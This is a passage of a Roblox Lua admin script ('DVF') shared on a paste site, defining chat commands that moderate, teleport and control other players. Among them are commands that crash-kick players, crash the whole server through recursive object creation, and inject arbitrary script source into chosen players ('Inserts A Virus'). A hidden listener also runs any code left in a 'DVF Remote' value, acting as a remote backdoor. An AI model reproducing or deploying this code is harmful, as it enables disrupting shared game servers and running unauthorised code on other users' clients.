  1661. if x:IsA("LocalScript") and x.Name ~= "Animate" and x.Name ~= "Sound" and not x.Name:find("Health") then
  1662. table.insert(LocalScripts, x.Name .. " - " .. v.Name)
  1663. end
  1664. end
  1665. end)
  1666. end
  1667. if #LocalScripts > 0 then
  1668. for _,v in pairs(LocalScripts) do
  1669. Ping(v, Speaker)
  1670. end
  1671. else
  1672. Ping("No Local Scripts Found", Speaker, 5)
  1673. end
  1674. end)
  1675.  
  1676. Command("LDisable", 3, "Disables A Local Script", function(Msg, Speaker)
  1677. local Split = GetSplit(Msg)
  1678. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  1679. local ScriptName = Msg:sub(Split + 1)
  1680. local FoundLocal = false
  1681. for _,name in pairs(PlrTab) do
  1682. ypcall(function()
  1683. for _,v in pairs(name.Character:GetChildren()) do
  1684. if string.find(v.Name:lower(), ScriptName) then
  1685. if v:IsA("Script") or v:IsA("LocalScript") then
  1686. v.Disabled = true
  1687. v:Destroy()
  1688. FoundLocal = true
  1689. Ping("Disabled Local Script: "..v.Name, Speaker, 5)
  1690. end
  1691. end
  1692. end
  1693. end)
  1694. ypcall(function()
  1695. for _,v in pairs(name.Backpack:GetChildren()) do
  1696. if string.find(v.Name:lower(), ScriptName) then
  1697. if v:IsA("Script") or v:IsA("LocalScript") then
  1698. v.Disabled = true
  1699. v:Destroy()
  1700. FoundLocal = true
  1701. Ping("Disabled Local Script: "..v.Name, Speaker, 5)
  1702. end
  1703. end
  1704. end
  1705. end)
  1706. ypcall(function()
  1707. for _,v in pairs(name.PlayerGui:GetChildren()) do
  1708. if string.find(v.Name:lower(), ScriptName) then
  1709. if v:IsA("Script") or v:IsA("LocalScript") then
  1710. v.Disabled = true
  1711. v:Destroy()
  1712. FoundLocal = true
  1713. Ping("Disabled Local Script: "..v.Name, Speaker, 5)
  1714. end
  1715. end
  1716. end
  1717. end)
  1718. if FoundLocal == false then
  1719. Ping("Local Script Not Found", Speaker, 5)
  1720. end
  1721. end
  1722. end)
  1723.  
  1724. Command("FClean", 3, "Fully Cleans The Server", function(Msg, Speaker)
  1725. for _,v in pairs(game:GetChildren()) do
  1726. ypcall(function()
  1727. if v.Name ~= "Workspace" and v.Name ~= "Players" and v.Name ~= "NetworkServer" then
  1728. for _,a in pairs(v:GetChildren()) do
  1729. ypcall(function()
  1730. a:Destroy()
  1731. end)
  1732. end
  1733. elseif v.Name == "Players" then
  1734. for _,plr in pairs(v:GetPlayers()) do
  1735. Clear(plr)
  1736. end
  1737. end
  1738. end)
  1739. end
  1740. Clean()
  1741. Fixl()
  1742. Ping("Fully Cleaned", Speaker, 5)
  1743. end)
  1744.  
  1745. Command("Clean", 1, "Lightly Cleans The Server", function(Msg, Speaker)
  1746. LClean()
  1747. Fixl()
  1748. Ping("Lightly Cleaned", Speaker, 5)
  1749. end)
  1750.  
  1751. Command("Reset", 2, "Resets A Player", function(Msg, Speaker)
  1752. local PlrTab = getPlayer(Speaker, Msg)
  1753. if #PlrTab > 0 then
  1754. for _,v in pairs(PlrTab) do
  1755. ypcall(function()
  1756. v:LoadCharacter()
  1757. Ping("Reset "..v.Name, Speaker, 5)
  1758. end)
  1759. end
  1760. end
  1761. end)
  1762.  
  1763. Command("Home", 1, "Brings The Speaker Home", function(Msg, Speaker)
  1764. repeat wait() until Speaker.Character:findFirstChild("Torso")
  1765. if Work:findFirstChild("Base") then
  1766. Speaker.Character.Torso.CFrame = Work.Base.CFrame * CFrame.new(0, 5, 0)
  1767. else
  1768. Speaker.Character.Torso.CFrame = CFrame.new(0, 5, 0)
  1769. end
  1770. Ping("Brought "..Speaker.Name.." Home", Speaker, 5)
  1771. end)
  1772.  
  1773. Command("Freeze", 3, "Freeze's A Player", function(Msg, Speaker)
  1774. local PlrTab = getPlayer(Speaker, Msg)
  1775. if #PlrTab > 0 then
  1776. for _,v in pairs(PlrTab) do
  1777. ypcall(function()
  1778. v.Character.Torso.Anchored = true
  1779. Ping("Froze "..v.Name, Speaker, 5)
  1780. end)
  1781. end
  1782. end
  1783. end)
  1784.  
  1785. Command("Thaw", 3, "Thaw's A Player", function(Msg, Speaker)
  1786. local PlrTab = getPlayer(Speaker, Msg)
  1787. if #PlrTab > 0 then
  1788. for _,v in pairs(PlrTab) do
  1789. ypcall(function()
  1790. for _,v2 in pairs(v.Character:GetChildren()) do
  1791. ypcall(function()
  1792. v.Anchored = false
  1793. end)
  1794. end
  1795. Ping("Thawed "..v.Name, Speaker, 5)
  1796. end)
  1797. end
  1798. end
  1799. end)
  1800.  
  1801. Command("FF", 3, "Gives A Player A ForceField", function(Msg, Speaker)
  1802. local PlrTab = getPlayer(Speaker, Msg)
  1803. if #PlrTab > 0 then
  1804. for _,v in pairs(PlrTab) do
  1805. ypcall(function()
  1806. Instance.new("ForceField", v.Character)
  1807. end)
  1808. end
  1809. end
  1810. end)
  1811.  
  1812. Command("UnFF", 3, "Removes A Player's ForceField", function(Msg, Speaker)
  1813. local PlrTab = getPlayer(Speaker, Msg)
  1814. if #PlrTab > 0 then
  1815. for _,v in pairs(PlrTab) do
  1816. ypcall(function()
  1817. RemObj(v.Character, "ForceField")
  1818. end)
  1819. end
  1820. end
  1821. end)
  1822.  
  1823. Command("TP", 2, "Teleports A Player To Another Player", function(Msg, Speaker)
  1824. local Split = GetSplit(Msg)
  1825. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  1826. local PlrTab2 = getPlayer(Speaker, Msg:sub(Split + 1))
  1827. if #PlrTab > 0 and #PlrTab2 > 0 then
  1828. for i,v in pairs(PlrTab) do
  1829. ypcall(function()
  1830. for _,v2 in pairs(PlrTab2) do
  1831. ypcall(function()
  1832. v.Character.Torso.CFrame = v2.Character.Torso.CFrame * CFrame.new(0, 5 * i, 0)
  1833. Ping("Teleported "..v.Name.." To "..v2.Name, Speaker, 5)
  1834. end)
  1835. end
  1836. end)
  1837. end
  1838. end
  1839. end)
  1840.  
  1841. Command("Explorer", 3, "Opens An Object Explorer", function(Msg, Speaker)
  1842. MakeExplorer(Speaker)
  1843. end)
  1844.  
  1845. Command("Info", 0, "Shows Information About DVF", function(Msg, Speaker)
  1846. wait()
  1847. Dismiss(Speaker)
  1848. NumBanned = 0
  1849. NumCmds = 0
  1850. for i = 1, #Rankings do
  1851. if Rankings[i].Rank < 0 then
  1852. NumBanned = NumBanned + 1
  1853. end
  1854. end
  1855. for i,v in pairs(Commands) do
  1856. NumCmds = NumCmds + 1
  1857. end
  1858. Ping("Admin Name: Dea¬th V¬ia Fl¬ipflop", Speaker)
  1859. Ping("DVF Admin Created By: el¬to¬wl¬o", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..string.reverse("1248polfpilf"))
  1860. Ping("Date Started: 18th May 2013", Speaker)
  1861. Ping("Your ID: "..Speaker.userId, Speaker)
  1862. Ping("Total Number Of Players: "..#All2(), Speaker)
  1863. Ping("Total Number Of Commands: "..NumCmds, Speaker)
  1864. Ping("Total Number Of Banned Players: "..NumBanned, Speaker)
  1865. Ping("ShowGarbage", Speaker)
  1866. end)
  1867.  
  1868. Command("ShowR", 0, "Shows All Player Ranks", function(Msg, Speaker)
  1869. Dismiss(Speaker)
  1870. for i,v in pairs(All()) do
  1871. Ping(v.Name.."'s Rank: "..FindRank(v))
  1872. end
  1873. end)
  1874.  
  1875. Command("WS", 2, "Set A Player's WalkSpeed", function(Msg, Speaker)
  1876. local Split = GetSplit(Msg)
  1877. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  1878. local Speed = tonumber(Msg:sub(Split + 1))
  1879. for _,v in pairs(PlrTab) do
  1880. ypcall(function()
  1881. v.Character.Humanoid.WalkSpeed = Speed
  1882. Ping("Set "..v.Name.."'s WalkSpeed To "..tostring(Speed), Speaker)
  1883. end)
  1884. end
  1885. end)
  1886.  
  1887. Command("UnAb", 2, "Removes CBA Anti-Bans", function(Msg, Speaker)
  1888. local RemoveAB = Instance.new("StringValue")
  1889. RemoveAB.Name = "CBA Attachment"
  1890. RemoveAB.Value = [[CBA.override=true;]]
  1891. RemoveAB.Parent = Work
  1892. Ping("Removed All CBA Anti-Bans", Speaker, 5)
  1893. end)
  1894.  
  1895. Command("Injected", 5, "Shows Injected Players", function(Msg, Speaker)
  1896. Dismiss(Speaker)
  1897. for i,v in pairs(Injected) do
  1898. Ping(i, Speaker)
  1899. end
  1900. end)
  1901.  
  1902. Command("UnCba", 3, "Removes CBA Admin", function(Msg, Speaker)
  1903. local RemoveCBA = Instance.new("StringValue")
  1904. RemoveCBA.Name = "CBA Attachment"
  1905. RemoveCBA.Value = [[CBA.remove = false]]
  1906. RemoveCBA.Parent = Work
  1907. Ping("Removed All CBA Admins", Speaker, 5)
  1908. end)
  1909.  
  1910. Command("Shutdown", 4, "Shutdowns The Server", function(Msg, Speaker)
  1911. local function BufferOverflow(object)
  1912. object.DescendantAdded:connect(BufferOverflow)
  1913. Instance.new("IntValue", object)
  1914. end
  1915. BufferOverflow(Game)
  1916. end)
  1917.  
  1918. local con = game:service'Workspace'.descendantAdded:connect(function(asd)
  1919. if asd.ClassName == 'StringValue' then
  1920. if asd.Name == "DVF Remote" then
  1921. local func = loadstring(asd.Value)
  1922. if func then asd:Destroy() return pcall(func) end
  1923. end asd:Destroy()
  1924. end
  1925. end)
  1926.  
  1927. Command("Kick", 3, "Crash Kicks A Player From The Server", function(Msg, Speaker)
  1928. local PlrTab = getPlayer(Speaker, Msg)
  1929. if #PlrTab > 0 then
  1930. for _,v in pairs(PlrTab) do
  1931. ypcall(function()
  1932. Crash1(v)
  1933. Ping("Crash Kicked "..v.Name, Speaker, 5)
  1934. end)
  1935. end
  1936. end
  1937. end)
  1938.  
  1939. Command("Ban", 4, "Bans A Player From The Server", function(Msg, Speaker)
  1940. local PlrTab = getPlayer(Speaker, Msg)
  1941. if #PlrTab > 0 then
  1942. for _,v in pairs(PlrTab) do
  1943. ypcall(function()
  1944. ChangeRank(v, -1)
  1945. end)
  1946. end
  1947. end
  1948. end)
  1949.  
  1950. Command("JBan", 4, "Permanently Jails A Player", function(Msg, Speaker)
  1951. local PlrTab = getPlayer(Speaker, Msg)
  1952. if #PlrTab > 0 then
  1953. for _,v in pairs(PlrTab) do
  1954. ypcall(function()
  1955. ChangeRank(v, -2)
  1956. end)
  1957. end
  1958. end
  1959. end)
  1960.  
  1961. Command("MBan", 4, "Permanently Mutes A Player", function(Msg, Speaker)
  1962. local PlrTab = getPlayer(Speaker, Msg)
  1963. if #PlrTab > 0 then
  1964. for _,v in pairs(PlrTab) do
  1965. ypcall(function()
  1966. ChangeRank(v, -3)
  1967. end)
  1968. end
  1969. end
  1970. end)
  1971.  
  1972. Command("UnBan", 4, "Un-Bans A Player From The Server", function(Msg, Speaker)
  1973. ypcall(function()
  1974. local PlrTab = getPlayer(Speaker, Msg)
  1975. if #PlrTab > 0 then
  1976. for _,v in pairs(PlrTab) do
  1977. ypcall(function()
  1978. Insert(UnMuteSource, v.Backpack, v.Character, v.PlayerGui)
  1979. end)
  1980. end
  1981. end
  1982. local PlrName = ChangeRank(Msg, 0)
  1983. Ping("Un-Banned "..PlrName, Speaker, 5)
  1984. end)
  1985. end)
  1986.  
  1987. Command("Menu", 0, "Brings Up Admin Menu", function(Msg, Speaker)
  1988. Dismiss(Speaker)
  1989. Ping("Commands", Speaker, nil, function()
  1990. Dismiss(Speaker.Name)
  1991. Ping("You Are Rank: "..tostring(GetRank(Speaker.Name).Rank), Speaker)
  1992. Ping("All", Speaker, nil, function() OpenCmds(1337, Speaker) end)
  1993. Ping("Rank 0", Speaker, nil, function() OpenCmds(0, Speaker) end)
  1994. Ping("Rank 1", Speaker, nil, function() OpenCmds(1, Speaker) end)
  1995. Ping("Rank 2", Speaker, nil, function() OpenCmds(2, Speaker) end)
  1996. Ping("Rank 3", Speaker, nil, function() OpenCmds(3, Speaker) end)
  1997. Ping("Rank 4", Speaker, nil, function() OpenCmds(4, Speaker) end)
  1998. Ping("Rank 5", Speaker, nil, function() OpenCmds(5, Speaker) end)
  1999. end)
  2000. Ping("Players", Speaker, nil, function()
  2001. ListPlayers(Speaker)
  2002. end)
  2003. end)
  2004.  
  2005. Command("Players", 0, "Brings Up Players", function(Msg, Speaker)
  2006. ListPlayers(Speaker)
  2007. end)
  2008.  
  2009. Command("Exe", 4, "Executes A Source", function(Msg, Speaker)
  2010. local Func,Error = loadstring(Msg)
  2011. getfenv(Func).print = function(...) local Rtn = "" for _,v in pairs({...}) do Rtn = Rtn..tostring(v).."\t" end Ping(Rtn, Speaker) end
  2012. getfenv(Func).Speaker = Speaker
  2013. if Error == nil then
  2014. coroutine.wrap(function()
  2015. Func()
  2016. end)()
  2017. Ping("Executed Script!", Speaker, 5)
  2018. else
  2019. Ping(Error, Speaker, 10)
  2020. end
  2021. end)
  2022.  
  2023. Command("Insert", 5, "Inserts A Virus Into selected players computer", function(Msg, Speaker)
  2024. if LS ~= nil then
  2025. local Split = GetSplit(Msg)
  2026. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  2027. local LocalSource = Msg:sub(Split + 1)
  2028. if #PlrTab > 0 then
  2029. for _,v in pairs(PlrTab) do
  2030. local Inserted = LS:Clone()
  2031. Inserted.Disabled = true
  2032. Inserted.Parent = v.Backpack or v.Character or v.PlayerGui
  2033. if OwnSource ~= nil and Inserted:findFirstChild(OwnSource) ~= nil then
  2034. Inserted:findFirstChild(OwnSource).Value = v.Name
  2035. end
  2036. Inserted[LSSource].Value = LocalSource
  2037. Inserted.Disabled = false
  2038. end
  2039. end
  2040. else
  2041. Ping("ERROR: Local Script Not Found", Speaker, 5)
  2042. end
  2043. end)
  2044.  
  2045. Command("Ping", 1, "Pings A Message", function(Msg, Speaker)
  2046. Msg = tostring(Msg)
  2047. Ping(Msg, Speaker)
  2048. end)
  2049.  
  2050. Command("Test", 1, "Test's That Admin Is Working", function(Msg, Speaker)
  2051. Dismiss(Speaker)
  2052. for i,v in pairs(getfenv(1)) do
  2053. ypcall(function()
  2054. Ping(tostring(i)..": "..tostring(v), Speaker)
  2055. end)
  2056. end
  2057. end)
  2058.  
  2059. Command("Remove", 5, "Removes The Admin", function(Msg, Speaker)
  2060. Dismiss()
  2061. Removed = true
  2062. for i,v in pairs(getfenv(1)) do
  2063. getfenv(1)[i] = nil
  2064. end
  2065. script.Disabled = true
  2066. end)
  2067.  
  2068. Command("SRank", 5, "Ranks A Player", function(Msg, Speaker)
  2069. local Split = GetSplit(Msg)
  2070. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  2071. local Rank = tonumber(Msg:sub(Split + 1))
  2072. if #PlrTab > 0 then
  2073. for _,v in pairs(PlrTab) do
  2074. if v.Name ~= Owner then
  2075. ChangeRank(v, Rank)
  2076. Ping("Set "..v.Name.."'s Rank To "..tostring(Rank), Speaker, 5)
  2077. end
  2078. end
  2079. end
  2080. end)
  2081.  
  2082. --This Admin (DVF) Was Created By flipflop8421 (Creator of iFlip and iFlip V2).
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement